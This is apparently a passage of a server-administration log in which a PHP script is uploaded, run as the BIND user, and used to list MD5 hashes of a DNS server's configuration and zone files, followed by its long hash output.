MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:14:55: Establishing a connection
2026-04-23 12:14:55: 

PUT: /tmp/pkp485881

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:14:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp485881; rm /tmp/pkp485881'

2026-04-23 12:14:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
